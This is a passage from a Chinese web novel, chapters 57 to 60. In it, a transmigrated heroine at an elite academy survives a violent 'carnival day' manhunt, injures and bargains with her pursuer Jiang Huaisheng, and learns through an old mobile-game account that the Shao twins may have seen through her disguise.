“别担心。”江淮盛往前走了几步,脸上挤出一个笑容,“你放心,我不会伤害你的,只需要你稍微配合我一下。” 安蔓慢慢摘下面具,扔在一边,脸色煞白,表情惶恐,咬着嘴唇倒退几步,“我害怕,你不要伤害我……他家世那么好,你都敢伤害他,而我只是一个普通人……” 江淮盛几乎想笑,她算什么普通人,要是她算普通,那世界上大部分人都只能算得上稀疏平常。 他不是很将陆珈放在眼里,伸腿将地上的人踹了一脚,向前迈了一步,并不着急,这一片树林他确认过,周围完全没人,此刻简直像是探囊取物。 而安蔓的反应,也和真正的猎物别无二致,浑身颤抖着,表情空白,因为目睹暴行而恐惧不安,只能本能后退,又不敢大动作惹怒他。 “没关系,他家虽然还行,但是和江家体量比起来,不如它的1%,顶多能比得上江家一根手指头。” 江淮盛一边放低了声音,轻声诱哄,一边轻轻迈出脚步向猎物靠近,动作不疾不徐,如同他在远郊猎杀兔子时一样,“而你不同,你多重要啊,你是江赫的女朋友,崔少爷为了你受伤入院,韶家的两位少爷对你念念难忘,依依不舍……” 安蔓浑身发抖,咬紧牙关,牙齿却仍然怕的咯咯作响,只能浑身发抖的看着他,拼命摇头,“我好害怕,你、你不要靠近我……” 江淮盛看着她的脸恍惚了一下,突然觉得,那些少爷们莫名其妙的激动也不是没有道理,起码她确实长得非常好看,有让人追逐的资本。 脆弱又美丽,即使在这种惧怕的时候,牙齿用力咬着嘴唇,唇齿中涌出的殷红的血色,有一种让人恍惚的美感。 “别担心……”江淮盛的声音放低了一点,这次是真心实意,柔的几乎能滴水,“跟我走就好,” 谁知他刚一靠近,安蔓突然跳了起来,猛然甩了他一巴掌! “陆珈陆珈陆珈你快点!” 对于陆珈,她还考虑到想要获取原主的信息,不太方便出手,但是对于这个人她完全没有顾忌! 江淮盛震惊地愣着,整个人还没有反应过来,又被人从背后拽着领子往后一扯,整个人摔倒在地上,头重重的撞上石板路。 “唔!”一股巨痛瞬间蔓延全身,霎时间他身体失去力气,从头到脚瘫软到脚底,有什么东西在后脑淌出,湿润滑腻,将他的头发都弄湿了。 陆珈也痛的要命,刚刚被人猛揍了一顿,虽然装晕避了过去,但是到底没有全部恢复过来。恼怒地对人一阵拳打脚踢,几分钟后,又忍不住浑身瘫软起来 “狗东西,还想吓我。”安蔓上去踹了江淮盛一脚。 他浑身抽搐,整个人浑浑一震,根本没法反抗,只能伸手攥住旁边地上湿润的绿化草坪,手指深深的扣入泥里,声音断断续续,痛到扭曲,“你,你怎么能……” 安蔓不爽:“就许你吓我,不许我骗你是吧,你这个人怎么这么双标。” 江淮盛不知道自己撞到了哪里,但那一定不轻,让他完全失去了力气,不断抽搐着,手脚失去控制,被迫仰躺在地面,看着安蔓恶毒又漂亮的脸。 她在月光下,清丽美艳,皮肤莹润通透到几乎透明,在月光的倒映下,简直像是全身在发光。 她微微低下头,明明是冷淡十足的脸,垂眼的表情却嫌弃非常,浓密乌黑的睫毛一扬,冷冷地看他一眼。 江淮盛浑身失去力气,“你不怕我报复……” 安蔓:“没关系,我有人罩,而且这也不是我干的。” 江淮盛气笑了,事实上他根本没力气笑,那种抽搐的痛感蔓延,让他声音渐渐变低了,“医院……” 安蔓懒得管,抬腿迈过他,看了看陆珈,他头朝下趴在地上,脸压在草丛里,双手瘫软在地上,晕了过去,彻底没什么动静了。 她拽着他肩膀上的衣服,费了点力,把人翻过来靠在草坪上,伸手探了探,呼吸正常,只是晕了过去,整个人的表情显得有几分痛苦。 看完了,才有闲心扭头去看江淮盛的情况,四周的光线也不太清楚,他头下好像湿开了一片水渍。安蔓又踹了他的小腿一脚,“喂,你怎么了。” 江淮盛浑身抽搐一下,喉咙里呃了几声,没有说出完整的话,像是彻底晕了过去。 安蔓有点发毛了,她蹲下身,打着手电筒对着他照了照,江淮盛整张脸因 为痛苦而扭曲,头正好撞到石板边缘的尖锐一角,头顶已经蔓开了一片湿红。 安蔓的手开始哆嗦起来,怎么那么像凶案现场啊!上次崔英朗的事也算了,这次她真的是无辜的,和她没有一点关系好吗!! 最多扇了一个巴掌,不过就是摔了一跤,人怎么就这样了! 第57章 第57章莞莞类卿片场(狂欢日未…… 57. 江淮盛头很痛,浑身难受,感觉像是被人狠狠揍了一顿,他恍惚间,分不清楚何年何月,只记得那是一个很冷的冬天,下课后,被母亲牵着手,带到了一栋豪华的宅邸外。 他裤子偏短,露出一截脚踝,校服外套紧紧拉着,脖子上裹着围巾,但露出来的脖子和脸颊还是在冷风中冻红了,手指被母亲紧紧的握着,逼迫他看向宅邸门口停驻的黑色轿车,车内走出一个比他小几岁的男孩。 男孩一身黑色小西装,板着脸,和他长得有几分相似,处境却大不相同。这个男孩明显娇生惯养,被家人捧在手心,刚下车就被人迎了进去。 “痛。”母亲的手掐的更紧了,痛的他叫了一声,下意识想要逃跑却,被摆正了头,死死盯着那道背影。 “看着!好好看!那里的东西本来应该都是我们的!都是因为你不争气,你爸爸才会不认你,给我好好看!” 他被捏得痛极了,指甲掐入手心,眼睛被风吹入,又干又涩,吹出了满眼的泪花,却不敢挪开头,只能死死的看着那道尊贵的背影。 …… 江淮盛忍不住闭了闭眼,在睁开时有点恍惚。 黯淡的路灯,坚硬的石板路,还有一只手,在他的裤根乱摸。 “……你在干什么?” “你手机在响啊。”安蔓从他的口袋里摸出手机,站了起来。 江淮盛:“……”他简直不可置信,在这种寒冷的天气里,对方放任他在受伤的情况下,躺在冰冷的地上! 他被生生痛晕过去,现在醒来不知过了多久,只觉得浑身冰凉,似乎是痛到麻木,身体反而好受起来,头顶也不再流血了。 力气恢复了一点,他伸手一摸,外套不翼而飞,头顶被柔软厚实的面料包裹住,绕过后脑勺,粗浅的打了一个结。 江淮盛:“……你就是这么处理伤口的!” 安蔓刚刚费心费力给人包扎了,确定伤口不深,人不会死,才松了口气。 闻言不满地踩住他的胸口,皮靴在胸上恶意碾了碾,留下一个黑色脚印,“我给你止了血,垫了头,还准备给你叫辆救护车,世界上有我这么以德报怨的人吗?” 江淮盛被踩的怒火中烧,气得半死,伸手抓住她的脚踝,“够了!” 她却没在意,扭了扭,没挣脱掉,干脆继续踩着他胸,点开了电话。 “江淮盛,你在哪?我们抓住一个内奸,这女的从刚才开始,就一直鬼鬼祟祟跟在我们身后,被子晟发现了,一把逮住!” “你猜猜是谁,掀了面具才知道,这不是下午和校花一起出场的那女的吗?我们审了一会,这人居然一直在和校花通风报信!” “……没问出校花的藏身地,我拿了她的手机,准备等会设个局把校花骗出来,瓮中捉鳖,嘻嘻——你在干什么?怎么不说话?” 江淮盛的手松了松,安蔓抽出腿,半蹲下,作出口型:“回他。” 江淮盛微微侧头,目光盯着手机,心里有点犹豫,他是主持,只要他不动声色透露几个暗语,就能轻易把人引过来,抓住安蔓。 心中的念头刚刚一动,脸颊忽然被人拍了拍,安蔓歪了歪头,在月光下看着他,清冷皎洁的光线映照着她瓷白如玉的脸。 手指若有若无按在他的头顶,透出一种无声的威胁。 她微微上扬了嘴角,充满恶意,在他耳边悄声道,“说啊。” 这个女人! 江淮盛根本不知道,江赫到底看上她哪一点了,她除了好看一无是处,性格里根本没有真善美的成分,对受伤的人置之不理,还刻意威胁…… “快说。”安蔓烦了。 江淮盛:“……我有事。” “这种机会都不好奇。你是发现了校花的踪影吗?”对方抱怨,“算了,看到我跟你分享消息的份上,有笑话的消息一定要通知我我!” “没问题。”江淮盛几句话把人打发走了,结束通话后,安蔓又把手机拿走了。 他憋了一会,忍不住问,“你到底想干什么,你不管我吗?” 安蔓在手机上各个软件上点,心里想着栗纯的事,心不在焉,“管,这就给你叫个救护车。” “不行。”江淮盛却立刻拒绝,“不要叫救护车,既然我现在不痛了,就说明问题不严重,我去医务室就好……不、最好不要让任何人知道!” 安蔓“哦”了一声,继续按手机。 江淮盛没得到想听的回答,却不舒服起来,“我之前以为自己要死了,才会想去医院,但如果没事,哪怕躺都得躺过狂欢日,不然我好不容易挽回的名声,会变得更糟。” 安蔓对他的卖惨不感兴趣,淡淡瞥了一眼。 发现这家伙,跟江赫不愧是“兄弟”,真的有几分神似。 英俊,冷漠,但是眉眼间,多出了江赫绝不可能有的阴郁自卑。 她来了几分兴趣,脚尖碰了碰他的脸,“你哭一个给我看看。” 江淮盛一愣,“什么?”反应过来之后,他迅速黑了脸,难以置信道,“你把我当替身?我到底哪里不如他了!” 他生气起来,黑眼睛炯炯发亮,眉目间那股隐约自傲,和遮不住自卑更明显了。 那股阴郁的气质倒不像了。 安蔓实事求是,掰着手指数,“首先,他比你好看。” “然后,他背景比你好。” 她想了想,“最后能力也比你强。你怎么会觉得自己有哪里是如他的?” 几句话下来,把江淮盛噎了个不轻,半天说不出话。 安蔓没管,人没死就行。 陆珈也还在那里躺着,她准备一会儿打个电话,让救护车把两人一起拉走。指尖在多个社交软件上进进出出,终于找到一个标记为[K-狩猎]的匿名群。 里面正实时更新消息,屏幕刷新的很快,正在讨论,如何处理栗纯这个“内奸”。 [她说是韶会长派她来的。] [有可能……] [但和我们有什么关系呢∧-∧。] 安蔓蹙了蹙眉,用江淮盛的账号,编辑了一条[我是江淮盛,别动她,我有用。]。 刚编辑完,手机主人就在旁边低笑出声。 江淮盛讥笑,“你在嘲笑我是不是?” 安蔓刚把信息发出去,还没反应过来,抬了抬头,“啊?” “你觉得我很可笑是不是?” 江淮盛和江赫略微相似的脸,抬了起来。暗淡的灯光下,他的发丝凌乱,脸颊蹭上了血,额头上凝着汗,狼狈不堪,咬牙切齿,“你把我所有的一切都否定了,你是不是觉得我哪里都不如他,根本不配和他争!” 安蔓:“什么?” 江淮盛讥讽一笑,“所有人都说我不配和他争?可你知道吗,外貌是父母给的,能力,我也有!背景?明明都是江家的孩子,凭什么他有的我不能有,我就那么低贱吗!” 安蔓沉默片刻:“我说的话重要吗?” 江淮盛:“怎么不重要!你不是他女朋友吗?你有这种想法,说明他平日里也是这么和你说的,这就是他的想法,可笑!” 安蔓弄清他崩溃的原因了。 她是江赫的“女朋友”,她的想法约等于江赫的想法。 江淮盛的一切行为,都是绕着争夺江家,打压江赫转的,就连今天行为的出发点也是如此。 而竞争对手,这么轻视他,让他难以忍受。 安蔓又觉得他有点意思起来。 她微微低头,仔细端详他那张脸。 漆黑发色,和俊美五官轮廓,和江赫有点类似。其它的则不同,略显斯文柔和的眉眼,淡琥珀色的眼睛,尤其是现在割裂羞恼的表情,让他的气质彻底和江赫分别开了。 特别是这种痛苦而狼狈的表情,是江赫那种体体面面的人,绝不可能做出来的。 可惜安蔓真的还挺想看。 “你现在看的是我还是他?”江淮盛突然定定地看着她问。 安蔓端详着他的脸,伸手在他的脸颊上,敷衍地拍了一下,“当然是你啊。” 如果江赫能这样狼狈一次,或者哭一次,就好了。 第58章 第58章狂欢日完 58. 江淮盛被她看了一会,忽然移开视线,莫名不自在起来,忽然问,“你在想什么。” 安蔓:“在想给你叫救护车。” 江淮盛立刻拒绝:“不行!” 顿了顿,他试探性开口:“这样吧,你作为我的猎物,一起结束游戏。作为回报,我不会对你提出要求。” “想的真美。”安蔓不高兴了,“我叫人了。” “等等!”江淮盛见安蔓似乎正准备打电话,也顾不上刚才那丝恍惚,伸手拽住她的衣摆,提高声音,“你知道今夜为什么那几位都不在吗?因为他们被拦下来了。” 见安蔓一时间没有继续动作,而是略显困惑,扭头看来,他咬牙继续道,“你别想了!今天午夜前他们都没法脱身——你只靠自己!那群家伙的手段非常齐全,没有我,你考自己躲,肯定会被抓住,你别叫救护车,把我扶到主厅,我有办法让你安全度过今晚!” 安蔓被说的有几分意动,“什么办法?” 江淮盛:“虽然这是一个单方面的追捕游戏,但主持人,总是有几份特权。”. 安蔓确实需要安全度过今晚。 她确认一下对方的状态。 江淮盛的伤口血止了,后脑勺头发一簇簇黏着,凝固成干涸的黑色,他艰难地握住了安蔓的手臂,借力一点点撑起上半身,光是这个动作就让他喘息了半天。 休息了一会儿,再撑着她的肩膀勉强爬起来,只这样就耗尽了他所有力气,只能把上半身压在安蔓身上,额头上扎着的外套松松滑了下来。 江淮盛轻蔑的目光,滑过躺在路边的陆珈,喘气说,“走,宴会厅就在前面,不要管我,那里有医务人员。” 安蔓谨慎的确认了一下他的状态,江淮盛的体重不轻,呼吸粗重,两个人每走一步都很吃力,让她几乎都要后悔帮他。 两人脚步一深一浅地到达了宴会厅门口。 侍者看到这对奇异的组合,愣了愣,赶紧迎上来,大喊,“医生!” 一边喊,一边将他从安蔓肩上扶开,将两人一起带到一边的医务室里。 江淮盛被面朝下地按在病床,立即有人为他来处理伤口。 男侍者将门关上,看着这对奇异的组合,轻声询问,“请问这位是……” “我的猎物。”江淮盛冷冷道,“处理完伤口后,你先出去,把门锁上,管好自己的嘴,等到狂欢日结束再来。” 安蔓想起来了:“在路上还有个晕倒的,你们能去把人带过来治疗吗?” 江淮盛冷笑阻止:“你搞清楚,我在帮你作弊,安蔓小姐!” 一回到自己的地盘,他的声音立刻变得有底气。 江淮盛被处理伤口时无法动弹,只有指尖不自觉的蜷缩了一下,他的手指还能感觉到安蔓的体温,刚才脱力的时候只能依偎着她,靠的太近,彼此之间的温度清晰,嗅觉也变得灵敏。 她喷了香水,轻盈的果香。 而且,她还是江赫的女朋友。 他的心里有种近乎暴虐的摧毁欲,她身上带着一种令人想要催折的气质,清冷高傲,高高在上,想让人将她捏在指尖,寸寸扼断。 他尤为想看,自己当着江赫的面羞辱她时的模样。那一定相当精彩。 “你们处理完就滚,别在这里碍事。”他说。 等所有人把伤口处理好,纷纷听话出去,将门锁住。 他才艰难的稍稍扭头,露出肖似江赫的侧脸,安蔓果然看了过来。 江淮盛嘲讽,“像吗?” “像。”安蔓打量。 五官是像的,但又不同,他趴在床上不能动弹,头脑裹着纱布。 容貌英俊,气质委顿,像落水狗。 江淮盛满意自己吸引住了她的目光,又隐隐约约觉得有点嘲讽,居然只能靠这种方法。 但是无所谓,如果能把人争取过来,同时给予江赫和安蔓一个重大羞辱,暂时当替身,也不是不行。 “江赫那种人,是不是硬邦邦的,脾气很臭,根本不懂得哄人。” 他讥讽一笑,“如果你们吵架了,或者你什么时候想找安慰了,可以随时来找我,我帮你对付他。” 安蔓:“……”好可怕的商战。 为了上位,愿意忍辱负重。 他简直就差明着说,自己可以来挖墙脚。 江淮盛原本只是随口一提,说出来之后又觉得,也不是没有可行性。 安蔓真的很漂亮,这么漂亮的女朋友陪江赫,可惜了。向来美人能者居之。就算安蔓拒绝,如果他真的打败江赫,接手江家。 ……也不介意,顺手接了他的女朋友。 安蔓挑了挑眉:“……我考虑一下。” 江淮盛不悦:“你在糊弄我,你觉得我没有资格?” 安蔓打量了他一下,“主要是觉得你这副样子,没什么说服力。” 江淮盛意识到自己狼狈不堪,毫无吸引力的情况,侧过去的头立刻挪了回来,咬紧牙齿不说话了。 …… 房间里又恢复了安静。 安蔓借用江淮盛的手机,查看[狩猎]群。刚刚用他账号发的消息,得到了一片回复[???]。 好消息:他们不再讨论如何处理栗纯。 坏消息:他们开始仍然在更新自己的狩猎成功。 指尖一点刷新,群里立刻有人上传了一段视频。 [终于找到这个人渣,也算为民除害了。] 镜头晃动着,有些模糊的雪花,忽又拉近,对准了一个蜷缩在地上惨叫的男生。 他的斗篷被扒掉了,面具掉在地上,露出一张惨不忍睹的脸,一边向远处蠕动,一边痛叫求饶,“不要,不要。” 他挣扎了一会儿,鼻青脸肿,怎么也躲不过镜头,不知道哪里来的一股劲,爬起来跑了。跑了两步又被人按着在地上,捏着脸对准镜头。在尖叫的兴奋声中,有人嬉笑道,“跑什么呀。” 下一秒又有人发了一段视频, 一片混乱中,几颗树冒着火光,被人点了燃,火焰从树尾窜上树间,将树林映的明亮如昼。几个白面具优哉游哉地浇水,一边指了旁边捆成一排的特招生,“太没规矩了,居然敢放火。” 几个特招生的脸被火光照的通红,面带羞辱,嘴唇颤抖,“不是……不……” [?怎么想的,没点自知之明吗!] [人受伤了没什么,要是损伤了学校的财产,这些人把自己卖了都赔不起。] [低贱。] [那只打了粉色蝴蝶结的鳄鱼是谁的?差点咬到我!] [今年真热闹,我还看到有人带了只警用嗅探犬。] [嗅探犬算了什么,还有人带了雷达探测器。] [这么久了居然还没有人找到校花吗,她是地鼠吗这么能藏?!有没人提供她今天的穿着,我怀疑她是抢了白方的面具,混入人群中了。] [谁有她用过的东西?我带了狗。] [联系我。] 安蔓越看,越皱起眉毛。 群里面开始集中聊起有关她的话题,讨论自己搜寻过哪些地方,抓到了几个人,有哪些角落没被清过,猜测可能藏在哪里。 还有人和陆珈一样,开始分析她的行为轨迹,一群人联合起来,动用各种手段集中搜寻。 甚至,狩猎群实时更新消息。里面提供了她的各项信息,还有照片。从今天走出宿舍,再到进入宴会厅,侧脸、正脸,各个角度…… 仿佛有人无时无刻,暗中注视她。 她的皮肤泛起细细的鸡皮疙瘩,忽然有种极强的被窥视感。 “到了。”江淮盛不知何时坐起了,他从床头抓了一大把止痛药,就着水喝了下去,闭上眼睛,“时间到了。” “什么?”安蔓敛去皮肤上那股微妙的不适感。 江淮盛喝完了杯子里的,水缓 了缓,终于感觉身体恢复了一点力量,“午夜到了。” 铛铛铛—— 凌晨的钟声响起。 十二点到了,狂欢式进入尾声。 江淮盛吃了止痛药,表情放松,用手背擦了擦脸,立刻恢复了神采奕奕的样子,“我们去主厅。”. 午夜时分。 宴会厅没有开灯,古堡式建筑的各处被点上银蜡,每张桌子被放置了一盏连枝银灯,还有巨型蜡烛被插在墙上的悬浮灯盏中,晃动的火光透过玻璃灯照映入大厅。 氛围湿润、阴森、冷淡,宛若恐怖片里的狂欢现场。 红白两队分开站着,特招生的红面具被全部掀开,所有人被绑起来放在角落里。 他们面色惴惴,惶恐不安,如同待宰羔羊。 戴着白面具的贵族们手持一盏灯,慢慢走进了宴会厅,灯光将他们黑色斗篷影子拉长的,火光森冷的映照在白色面具上。 当江淮盛握着一只白蜡烛,从门外缓缓走路时,所有人都安静下来,沉默的注视他……和几分钟后,出现的猎物。 江淮盛重新拿起话筒,走到人群中间,面色坦然,毫无受伤的样子,数了一遍特招生的人数,“果然,就和从前一样,白队获胜。从建校以来,四五百年了,只有过五次特招生获胜的情况,你们还是要加把劲啊。” 一片寂静。 特招生们绷着脸,脸上满是不甘失落。 其他人没有说话,安静等待。 “太安静了,感谢你们的配合。”江淮盛表情不变,“请允许我现在狂欢宣布结果,白队获胜!请特招生遵守规则,向白队兑现承诺。” 所有人没动,等待另一个结果。 他在大厅投射下来的光线中,停顿了一下,“至于猎物,本次猎物,直到午夜也没有被捕获,所以猎物获胜——” 带着面具装着斗篷的贵族骚动起来。 嗡嗡的窃窃私语,传遍了每一个角落,所有人都对着这个结果并不满意。 一个贵族男生站了出来,他戴着面具斗篷,只有声音能听出几分本人特点,“不可能!我翻遍每个角落。用雷达探测器,将德川每一个生命迹象都找出来了,还是没有找到猎物,我有充分理由怀疑,她使用了违规手段。” 他不光是自己找,还和别人一起联合,将学校放了个遍,就连躲在课桌抽屉的小猫都翻出来。唯独没有找到安蔓。 一个冷森森的男声说,“赞同……你和猎物为什么是一起出现的?我有权利质疑你包庇猎物。” “违规。” “校花小姐,可以解释你这段时间藏在哪里吗?我们真的很好奇。”一个女生说。 “……查定位。” “违规。怎么能这么草率结束。” “违规。” “违规!” 声音越来越大。 人群轻嗤着,涌动着,手里的蜡烛微微晃动,照入面具里黑黝黝的眼睛。 江淮盛皱起了眉毛,他发现自己还是低估了安蔓的影响力,往年的猎物,所有人抬抬手就放过了,但是今年却格外的耿耿于怀和执着。 他们站立原地,静默抬头,白色面具凝视安蔓,无声地施加压力。 江淮盛问:“那你们想怎么样?” “很简单。”一个男声说,“调取定位,查处作弊。好好的节日,怎么能因为作弊扫了大家的兴致呢。” “或者……”有个声音冒了出来,“再来一次,在她身上加上监控,以示公平。” 一阵低笑。 公平在这里是个贬义词。 江淮盛略感吃力,他虽然帮助安蔓作弊,但是经不起查,也没有获得什么报酬,如果因为这件事被牵扯上非常吃亏。 要是改口的话,有利有弊,运营一番,也不是不能收获更多…… 他犹豫要不要改变说法,外面,却忽然响起来一道脚步声,一个冒冒失失的女生冲了进来。 栗纯几乎是在看到安蔓出现的第一刻,冲了过来。她没戴面具,表情惊魂不定,还有几分劫后余生的庆幸。 她结结巴巴说:“韶会长,韶会长回来了!” 第59章 第59章游戏 59. 突如其来的声音打破了宴会厅的寂静。 氛围几乎一下子凝滞了,像即将沸腾的水骤然冷却。 没人不知道这意味着什么。每次狂欢日,都是一场有权有势者的肆意欢乐,虽然打着有冤报冤有仇报仇的名头,但大部分情况下,是高位者占据一切,向下狩猎。 而猎物们狼狈逃窜,四处躲藏,团结、合作、出卖、分裂……失败。 成为被戏耍的一员,被人赏玩、把弄,有时运气好了,施加恩惠,被贵族欣赏欣喜若狂的表情。 但这次……没头没尾,不明不白,让人的心口莫名堵着。几乎不需要证据,他们就可以断定——她作弊了。 她肯定违规!否则不可能藏的毫无破绽。 虽然作弊,也是狂欢日的一项美味,慢慢逼迫也十分美妙,但一切的前提……是没有外力介入。 贵族们一言不发。 作为代言人,江淮盛不得不主动开口,打破寂静:“哪个韶会长?” 栗纯的眼珠子转了转,一一扫过带着白色面具的嘉宾们刚刚倒霉,被抓住,还被逼问的经历,让她的脸上掠过一丝淡淡的阴影,“就是风纪会的那位少爷。” 宴会厅静默无比。 蜡烛融化了,淌下白色的蜡,油凝固在灯盏上,一滴滴堆砌着,凝固成崎岖可怖的形状。 江淮盛也沉默了,所有人都知道那位“韶少爷”是谁,狂欢之夜仗着匿名,人群可以肆无忌惮,任性妄为。但是接近结束的现在,就需要考虑更多。 栗纯有了点底气,鼓起勇气说,“韶会长要见安蔓,我要带走她了,可以吗?” 江淮盛的视线划过安蔓。 她平静地站在原地,看起来对一切早有预料,嘴角还带着淡淡的微笑。 他轻咬舌尖,面色不好:“当然可以。” 栗纯有点惴惴不安,但还是鼓起勇气,拉住安蔓往外走。 安蔓表情平淡,握住栗纯的手,慢慢转身。 宴会厅里的氛围,奇异地沉寂。 没有任何人阻止他们,也没人说话,他们默契的围成了一个小圈,在明明暗暗,阴森的灯火中,抬起白色面具。 黑洞洞的眼睛,沉默地凝视着她们,立在大厅中间一步步向外走去。 她的每个举止,每个动作,每一丝表情都被人深深注视着,似乎一旦得到允许,就会扑上去将她据为己有,蚕食殆尽。 这种微妙诡异的氛围,让栗纯怕的发抖,只能哆嗦着依偎在她身侧。直到两人走远了,目光还久久没有收回。 啪嗒—— 几秒钟——或者几分钟后,有人将灯突然打开了。 所有人一下子从黑暗中被拖了出来,重新站在明亮的大厅里。 良久之后,才有人开口。 “有意思。” “噗。” “我还以为韶家那个只是觉得有趣,加一脚罢了,没想到真有那份心,眼巴巴来了,给她做靠山。” 有个戴面具的男生,伸手摘下面具,扔在地上,毫不介意地将一张脸露在大庭广众下,抬脚踏上去碾了碾,轻笑道,“也好,太容易到手的猎物,毕竟无趣,只有这样才更有趣。” 另一个男生解开了斗篷,扔在桌上,走到那张盛满了玫瑰的桌子,手指敲了敲脑袋,冒出个主意,叫来了侍者,笑道,“将这些鲜花包装好,明天送给校花,这可是大家的一份心意!” “这件事绝对没完!别让我找到是哪个人帮她作弊的。还有你江淮盛,你这个废物!真没用,猎物都护不住。”另一个嘟嘟喃喃,翘着二郎腿不高兴道。 “真倒霉,让她逃过一劫,不过没关系……有的是机会。” “没关系,还有公投。” “唔……公投啊,真好。真好。” “各位,那么狂欢日就这样结束了。”江淮盛表情微妙。 这无疑是一场失败的游戏,没有人从 中得到满足,猎物做了弊,狩猎戛然而止,那种心口痒痒的感觉不上不下让人挠得慌。 结束的太草率了。 怒意无从发泄,渴望更加蓬勃。 与其说他们打消了想法,不如说他们因此更感兴趣了。之前只是在安全的情况下稍稍探头,现在,说不定愿意顶着塔尖那几位,私下出手。 “狂欢日的结果是——白队获胜。请各位特招生嘉宾们,好好遵守规则。”江淮盛按着后脑勺的纱布,迅速说完了。 他感觉止痛药在失效,今天的事还要收尾,但脑子里念念不忘的,还是安蔓离开前看都没看他一眼的样子。 漂亮冷漠,近乎无情。 对方完全没把他当个人,只是个有用的工具。 就算是陆珈那个没脑子东西,屁颠屁颠上去倒贴,在安蔓那里也只获得了差不多的对待。受伤、昏倒、无人问津,结果在意的对象转身就走了,到现在都还没有想到他。 “帮我叫个家庭医生过来,不要声张。” 江淮盛打了一通电话,挂了之后,环顾四周,已经没人在意特招生了。人群三三两两没有散去。 他们彼此交谈,眼睛闪动。无一例外的,充满了恶意满满、兴味十足的目光。 虽然失望,但也不乏趣味。 毕竟——接下来,还有公投. 这个混乱的夜晚,总算要结束了。 栗纯还没从宴会厅里那副诡异的场景回神,摸着胳膊上的鸡皮疙瘩,心有余悸,“幸好我进去的及时,不然还不知道会发生什么事,我听说过去年有个人被他们玩进了重症监护室,到现在都还没出院!幸好韶会长及时联系我了。我们现在赶紧去见他。” 安蔓不太高兴:“韶景荻终于来了?” 栗纯听到她直呼其名,吓了一跳,“你小声点!吓死了,不要在我面前这样。我很害怕的好不好!” 安蔓勉强点头:“晚上谢谢你。没事吧?” “还好……没受伤。”栗纯满不在乎,甚至有些兴奋:“没事,我也不是为你,韶会长已经许诺给我想要的报酬了,下次要是有这种事还叫我!” 安蔓稍稍放心:“那还行。” 她总感觉自己忘了什么,又觉得那可能不是什么重要的事,努力回忆,想了半天,终于想起来好像还有个被江淮盛揍晕、躺在石板路上的人。 她忘了对方的名字,但还记得他口里说出的信息。 原主很可能……追过韶家两兄弟。 这件事,比狂欢日还让她不安。 安蔓不动声色开口,试探道:“纯纯,你知道我和这两位会长,是什么时候认识的吗?” 栗纯打了个寒颤,“哎哎,你好久没这么叫我了,怪吓人的……” 安蔓:“说重点。” 栗纯搓了搓胳膊:“我想想,我不知道啊,以前好像没怎么见过你和他们相处。” 安蔓按了按太阳穴,换了个问法:“那我以前有过什么反常活动吗?” “有。”栗纯想了一会,“你有段时间特别爱打游戏,天天捧着手机,如痴如醉,好像从……我不记得了,你现在不玩了吗?” 栗纯声音带了点试探,语气略显疑惑。 安蔓知道栗纯察觉到不对,不过她没义务向她解释,直接了当问:“你知道那款游戏名字叫什么吗?” 栗纯:“我知道。我印象还挺深。” 安蔓问出游戏名,在手机里找了一会儿,果然在一个角落里,找到游戏图标。 她查了一下,那是一款普通的手游,画面精致,立绘唯美,但名气并不算很大,发行时间也不长,一点进去,就是漫长的加载。 “风纪会的福利真的不错,有不错的提案都会支持,这个游戏好像就韶会长支持开发的,创作者是他朋友。”栗纯表情透露出一点羡慕,眼睛却往她的脸上瞄。 安蔓脸色不太好看。 短短的时间,游戏的进度条已经加载完毕,跳出登录界面。其中原主角色的id一项,赫然标着一个加粗大放大的昵称。 【公主】 ……这是韶景荻第一次见面时,对她的称呼。 第60章 第60章对了…… 60. 安蔓脸色异常难看,手指点了登陆,进入游戏界面。 这是一款普通的联机游戏,可以交友、聊天,她翻了一下这个账号,总共只添加了两个好友。 第一个好友,显然是韶景戈,没有回复过任何消息。 反倒是韶景荻的号,和原主聊的热火朝天,无话不说。从校园生涯一路谈到生活琐事。 安蔓点进聊天记录,看着看着,眉头渐渐皱紧了:“系统,剧情里不是没有这事吗?” 系统非常小声:“可能是有,只是没有记录……”毕竟原主的戏份在书中不多,并不重要。 安蔓指尖翻动聊天记录,“这这看起来,和韶景荻不像不熟的样子。” 她快速翻阅完毕,联系现有信息,渐渐在心里勾勒出一条清晰的线:原主试图接近这对恶魔双生子,却无处下手,只能通过陆珈套取了两人信息,下载了游戏。最终,目的达成一半,在游戏里和韶景荻成了朋友——当然,这只是原主视觉。 陆珈作为风纪会成员,显然,一早就将这件事情告诉了韶景荻。 也就是说,原主一开始在他面前就是赤裸裸的、被送上门来的玩具。在游戏里的示好、聊天,都被视作一种糟糕的趣味。 “所以,韶景荻一开始就喊我【公主】,其实是在叫游戏id?甚至可能是包含恶意,想要故意戏耍一番,让人难堪的。但我从头到尾没有任何反应……还有韶景戈肯定。” 当韶景荻故意挑起游戏的事,却发现她没有任何记忆情况下,会怎么想……失忆?生病?还是…… 安蔓深呼吸,“什么意思,他们从第一次就发现了我不是本人?” 系统试图安慰:“可能没有那么糟糕?” 安蔓:“非常糟糕。” 韶景荻有可能知道她不是本人,知道她是假的,但就是故意装作无知,在旁边看她破绽百出地演戏。 意味着这两个人一开始就把她当猴耍,在旁边看戏,欣赏她的种种反应! 系统演算了一遍,“……确实有这种可能,而且可能性极高。因为男主三四号,就是纯纯的乐子人性格。” 安蔓大脑又开始一抽一抽地痛,又惊又烦,思绪搅成一团,最后化成对韶景荻这两兄弟的迁怒。 怎么那么烦,那么多事,那么爱玩,就不能就安安分分一点,好好做狗吗? 好烦,就不能老实点吗! “到了。”栗纯将她带到风纪会前,楼底已经停了一辆跑车,四周灯光亮起。 韶会长站在车边,单手扶住车门,一副风度翩翩的姿态,目光落在远处,握着手机,正在讲电话。 模样闲适淡然,高高在上,不染尘埃。 安蔓表情糟糕,心情烦躁,被揭穿身份的不祥预感,让她前所未有的不爽起来。 栗纯:“韶……” 安蔓微笑咬牙:“你先走,别留在这里打扰我们了,我要跟他单独叙旧。”. 咔嚓。 夜色中火光一闪。 韶景戈点了一支烟,夹在指尖,注视着烟草燃烧,在黑暗中亮出橘红的光点,表情漫不经心,淡淡的。 他站在路灯下,衣冠楚楚,眉目俊朗,是那种生活优握,被权力供养出来,不食人间烟火的大少爷形象,有种养尊处优的文雅。 韶景荻:“你到了?这么快,我这里还没完呢,玉泽那个神经病不 知道发什么疯,就是不让我走,你先替我顶一会儿。” “好。”韶景戈嗯了一声。 韶景荻的眼睛转了转,笑了出来,“别忘了,叫她公主,我想知道,她到底多久才能对这个称呼有反应。” 韶景戈淡淡答应了:“好。” 韶景荻玩笑道:“好吧好吧,我知道你对她不感兴趣~这样也好,你千万别对她出手哦,不然我会不开心的。” 